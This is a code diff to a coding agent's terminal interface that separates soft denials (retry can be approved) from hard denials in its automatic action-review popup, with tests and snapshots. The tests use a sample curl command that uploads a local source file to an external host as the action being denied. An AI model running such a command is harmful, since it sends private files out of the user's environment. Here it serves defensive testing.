diff --git a/codex-rs/tui/src/auto_review_denials.rs b/codex-rs/tui/src/auto_review_denials.rs index 12f9c54d72..a847bc51f7 100644 --- a/codex-rs/tui/src/auto_review_denials.rs +++ b/codex-rs/tui/src/auto_review_denials.rs @@ -30,8 +30,11 @@ impl RecentAutoReviewDenials { self.entries.iter() } - pub(crate) fn take(&mut self, id: &str) -> Option { + pub(crate) fn take_soft(&mut self, id: &str) -> Option { let idx = self.entries.iter().position(|entry| entry.id == id)?; + if !self.entries[idx].is_explicit_retry_eligible() { + return None; + } self.entries.remove(idx) } } @@ -77,6 +80,7 @@ pub(crate) fn action_summary(action: &GuardianAssessmentAction) -> String { #[cfg(test)] mod tests { use codex_protocol::approvals::GuardianCommandSource; + use codex_protocol::approvals::GuardianDenialKind; use codex_utils_absolute_path::test_support::PathBufExt; use codex_utils_absolute_path::test_support::test_path_buf; use pretty_assertions::assert_eq; @@ -94,7 +98,7 @@ mod tests { risk_level: None, user_authorization: None, rationale: Some(format!("rationale {id}")), - denial_kind: None, + denial_kind: Some(GuardianDenialKind::Soft), decision_source: None, action: GuardianAssessmentAction::Command { source: GuardianCommandSource::Shell, @@ -131,4 +135,21 @@ mod tests { ] ); } + + #[test] + fn only_soft_denials_can_be_taken_for_approval() { + let mut denials = RecentAutoReviewDenials::default(); + let mut denial = denied_event(/*id*/ 1); + denial.denial_kind = Some(GuardianDenialKind::Denial); + denials.push(denial); + + assert!(denials.take_soft("review-1").is_none()); + assert_eq!(denials.entries().count(), 1); + + denials.push(denied_event(/*id*/ 2)); + assert_eq!( + denials.take_soft("review-2").map(|event| event.id), + Some("review-2".to_string()) + ); + } } diff --git a/codex-rs/tui/src/chatwidget/permission_popups.rs b/codex-rs/tui/src/chatwidget/permission_popups.rs index c0d492d7aa..59a75e9777 100644 --- a/codex-rs/tui/src/chatwidget/permission_popups.rs +++ b/codex-rs/tui/src/chatwidget/permission_popups.rs @@ -5,6 +5,9 @@ //! `windows_sandbox_prompts`. use super::*; +use codex_protocol::approvals::GuardianDenialKind; + +const AUTO_REVIEW_DENIALS_VIEW_ID: &str = "auto-review-denials"; impl ChatWidget { /// Open the permissions popup. @@ -174,6 +177,17 @@ impl ChatWidget { return; }; + if !self.bottom_pane.replace_selection_view_if_active( + AUTO_REVIEW_DENIALS_VIEW_ID, + self.auto_review_denials_popup_params(thread_id), + ) { + self.bottom_pane + .show_selection_view(self.auto_review_denials_popup_params(thread_id)); + } + self.request_redraw(); + } + + fn auto_review_denials_popup_params(&self, thread_id: ThreadId) -> SelectionViewParams { let mut items = vec![SelectionItem { name: "Command".to_string(), description: Some("Rationale".to_string()), @@ -192,38 +206,59 @@ impl ChatWidget { .rationale .as_deref() .unwrap_or("Auto-review did not include a rationale."); - SelectionItem { - name: summary.clone(), - description: Some(rationale.to_string()), - selected_description: Some(rationale.to_string()), - search_value: Some(format!("{summary} {rationale}")), - actions: vec![Box::new(move |tx| { + let is_soft = event.is_explicit_retry_eligible(); + let denial_label = match event.denial_kind { + Some(GuardianDenialKind::Soft) => "Soft denial", + Some(GuardianDenialKind::Denial) => "Denial", + None => "Review failure", + }; + let description = format!("{denial_label}: {rationale}"); + let actions: Vec = if is_soft { + vec![Box::new(move |tx| { tx.send(AppEvent::ApproveRecentAutoReviewDenial { thread_id, id: id.clone(), }); - })], - dismiss_on_select: true, + })] + } else { + Vec::new() + }; + SelectionItem { + name: summary.clone(), + description: Some(description.clone()), + selected_description: Some(description.clone()), + search_value: Some(format!("{summary} {description}")), + is_disabled: !is_soft, + disabled_reason: (!is_soft).then(|| { + "Only soft denials are eligible for an explicit retry.".to_string() + }), + actions, + dismiss_on_select: is_soft, ..Default::default() } }), ); - self.bottom_pane.show_selection_view(SelectionViewParams { - title: Some("Auto-review Denials".to_string()), - subtitle: Some("Select a denied action to approve.".to_string()), + SelectionViewParams { + view_id: Some(AUTO_REVIEW_DENIALS_VIEW_ID), + title: Some("Auto-review Denial Recovery".to_string()), + subtitle: Some( + "Select a soft denial to approve one retry. Denials require a safer alternative." + .to_string(), + ), footer_hint: Some(standard_popup_hint_line()), items, is_searchable: true, col_width_mode: ColumnWidthMode::AutoAllRows, ..Default::default() - }); - self.request_redraw(); + } } pub(crate) fn approve_recent_auto_review_denial(&mut self, thread_id: ThreadId, id: String) { - let Some(event) = self.review.recent_auto_review_denials.take(&id) else { - self.add_error_message("That auto-review denial is no longer available.".to_string()); + let Some(event) = self.review.recent_auto_review_denials.take_soft(&id) else { + self.add_error_message( + "That denial is not eligible for an explicit retry.".to_string(), + ); return; }; diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_denial_recovery_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_denial_recovery_popup.snap new file mode 100644 index 0000000000..d9d6b27878 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_denial_recovery_popup.snap @@ -0,0 +1,13 @@ +--- +source: tui/src/chatwidget/tests/guardian.rs +expression: popup +--- + Auto-review Denial Recovery + Select a soft denial to approve one retry. Denials require a safer alternative. + + + Command Rationale +› curl -sS --data-binary @core/src/codex.rs https://example.com Soft denial: Would send a local source file to an + external endpoint. + + Press enter to confirm or esc to go back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denial_without_approval_action_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denial_without_approval_action_popup.snap new file mode 100644 index 0000000000..fa6773d9d5 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denial_without_approval_action_popup.snap @@ -0,0 +1,14 @@ +--- +source: tui/src/chatwidget/tests/guardian.rs +expression: popup +--- + Auto-review Denial Recovery + Select a soft denial to approve one retry. Denials require a safer alternative. + + +› Command Rationale + curl -sS --data-binary @core/src/codex.rs https://example.com (disabled) Denial: Tenant policy forbids exporting + credentials. (disabled: Only soft denials + are eligible for an explicit retry.) + + Press enter to confirm or esc to go back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap index 4cfc0221d9..d9d6b27878 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__auto_review_denials_popup.snap @@ -2,12 +2,12 @@ source: tui/src/chatwidget/tests/guardian.rs expression: popup --- - Auto-review Denials - Select a denied action to approve. + Auto-review Denial Recovery + Select a soft denial to approve one retry. Denials require a safer alternative. Command Rationale -› curl -sS --data-binary @core/src/codex.rs https://example.com Would send a local source file to an external - endpoint. +› curl -sS --data-binary @core/src/codex.rs https://example.com Soft denial: Would send a local source file to an + external endpoint. Press enter to confirm or esc to go back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_guardian_warning_notification.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_guardian_warning_notification.snap new file mode 100644 index 0000000000..34bea5818d --- /dev/null +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_guardian_warning_notification.snap @@ -0,0 +1,5 @@ +--- +source: tui/src/chatwidget/tests/app_server.rs +expression: rendered +--- +⚠ Turn ended by Auto-review. Run /approve to review eligible soft denials. diff --git a/codex-rs/tui/src/chatwidget/tests/app_server.rs b/codex-rs/tui/src/chatwidget/tests/app_server.rs index f4fcc85e43..9d77b05050 100644 --- a/codex-rs/tui/src/chatwidget/tests/app_server.rs +++ b/codex-rs/tui/src/chatwidget/tests/app_server.rs @@ -438,7 +438,8 @@ async fn live_app_server_guardian_warning_notification_renders_message() { chat.handle_server_notification( ServerNotification::GuardianWarning(GuardianWarningNotification { thread_id: "thread-1".to_string(), - message: "Automatic approval review denied the requested action.".to_string(), + message: "Turn ended by Auto-review. Run /approve to review eligible soft denials." + .to_string(), }), /*replay_kind*/ None, ); @@ -447,9 +448,10 @@ async fn live_app_server_guardian_warning_notification_renders_message() { assert_eq!(cells.len(), 1, "expected one warning history cell"); let rendered = lines_to_single_string(&cells[0]); assert!( - rendered.contains("Automatic approval review denied the requested action."), + rendered.contains("Run /approve to review eligible soft denials."), "expected guardian warning notification message, got {rendered}" ); + assert_chatwidget_snapshot!("live_app_server_guardian_warning_notification", rendered); } #[tokio::test] diff --git a/codex-rs/tui/src/chatwidget/tests/guardian.rs b/codex-rs/tui/src/chatwidget/tests/guardian.rs index 6d5aa5d386..8d7077a74b 100644 --- a/codex-rs/tui/src/chatwidget/tests/guardian.rs +++ b/codex-rs/tui/src/chatwidget/tests/guardian.rs @@ -29,12 +29,78 @@ async fn auto_review_denials_popup_lists_stored_auto_review_denials() { chat.on_guardian_assessment(auto_review_denial_event()); drain_insert_history(&mut rx); - chat.open_auto_review_denials_popup(); - let popup = render_bottom_popup(&chat, /*width*/ 120); assert_chatwidget_snapshot!("auto_review_denials_popup", popup); } +#[tokio::test] +async fn auto_review_denial_shows_reason_without_approval_action() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + let thread_id = ThreadId::new(); + chat.thread_id = Some(thread_id); + let mut event = auto_review_denial_event(); + event.id = "denial-1".to_string(); + event.denial_kind = Some(GuardianDenialKind::Denial); + event.rationale = Some("Tenant policy forbids exporting credentials.".to_string()); + chat.on_guardian_assessment(event); + drain_insert_history(&mut rx); + + let popup = render_bottom_popup(&chat, /*width*/ 120); + assert_chatwidget_snapshot!("auto_review_denial_without_approval_action_popup", popup); + + chat.approve_recent_auto_review_denial(thread_id, "denial-1".to_string()); + assert_matches!(rx.try_recv(), Ok(AppEvent::InsertHistoryCell(_))); + assert!(rx.try_recv().is_err()); +} + +#[tokio::test] +async fn app_server_guardian_denial_opens_recovery_popup_over_existing_modal() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + chat.thread_id = Some(ThreadId::new()); + chat.show_selection_view(SelectionViewParams { + title: Some("Existing modal".to_string()), + items: vec![SelectionItem { + name: "Keep existing modal open".to_string(), + ..Default::default() + }], + ..Default::default() + }); + + chat.handle_server_notification( + ServerNotification::ItemGuardianApprovalReviewCompleted( + ItemGuardianApprovalReviewCompletedNotification { + thread_id: "thread-1".to_string(), + turn_id: "turn-1".to_string(), + started_at_ms: 0, + completed_at_ms: 1, + review_id: "guardian-1".to_string(), + target_item_id: Some("guardian-target-1".to_string()), + decision_source: AppServerGuardianApprovalReviewDecisionSource::Agent, + review: GuardianApprovalReview { + status: GuardianApprovalReviewStatus::Denied, + risk_level: Some(AppServerGuardianRiskLevel::High), + user_authorization: Some(AppServerGuardianUserAuthorization::Low), + rationale: Some( + "Would send a local source file to an external endpoint.".to_string(), + ), + denial_kind: Some(AppServerGuardianDenialKind::Soft), + }, + action: AppServerGuardianApprovalReviewAction::Command { + source: AppServerGuardianCommandSource::Shell, + command: "curl -sS --data-binary @core/src/codex.rs https://example.com" + .to_string(), + cwd: test_path_buf("/tmp/project").abs(), + }, + }, + ), + /*replay_kind*/ None, + ); + drain_insert_history(&mut rx); + + let popup = render_bottom_popup(&chat, /*width*/ 120); + assert_chatwidget_snapshot!("app_server_guardian_denial_recovery_popup", popup); +} + #[tokio::test] async fn approving_recent_denial_emits_structured_core_op_once() { let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; diff --git a/codex-rs/tui/src/chatwidget/tool_requests.rs b/codex-rs/tui/src/chatwidget/tool_requests.rs index 3001563451..e5327ed108 100644 --- a/codex-rs/tui/src/chatwidget/tool_requests.rs +++ b/codex-rs/tui/src/chatwidget/tool_requests.rs @@ -250,6 +250,9 @@ impl ChatWidget { }; self.add_boxed_history(cell); + if self.thread_id().is_some() { + self.open_auto_review_denials_popup(); + } self.request_redraw(); } diff --git a/codex-rs/tui/src/lib.rs b/codex-rs/tui/src/lib.rs index b53ec0f83d..e849bb38b6 100644 --- a/codex-rs/tui/src/lib.rs +++ b/codex-rs/tui/src/lib.rs @@ -568,13 +568,24 @@ pub(crate) async fn start_embedded_app_server_for_picker( config: &Config, ) -> color_eyre::Result { let state_db = init_state_db_for_app_server_target(config, &AppServerTarget::Embedded).await?; - start_app_server_for_picker( - config, + let app_server = start_app_server( &AppServerTarget::Embedded, + Arg0DispatchPaths::default(), + config.clone(), + Vec::new(), + LoaderOverrides::without_managed_config_for_tests(), + /*strict_config*/ false, + CloudConfigBundleLoader::default(), + codex_feedback::CodexFeedback::new(), + /*log_db*/ None, state_db, Arc::new(EnvironmentManager::default_for_tests()), ) - .await + .await?; + Ok(AppServerSession::new( + app_server, + AppServerTarget::Embedded.thread_params_mode(), + )) } #[allow(clippy::too_many_arguments)]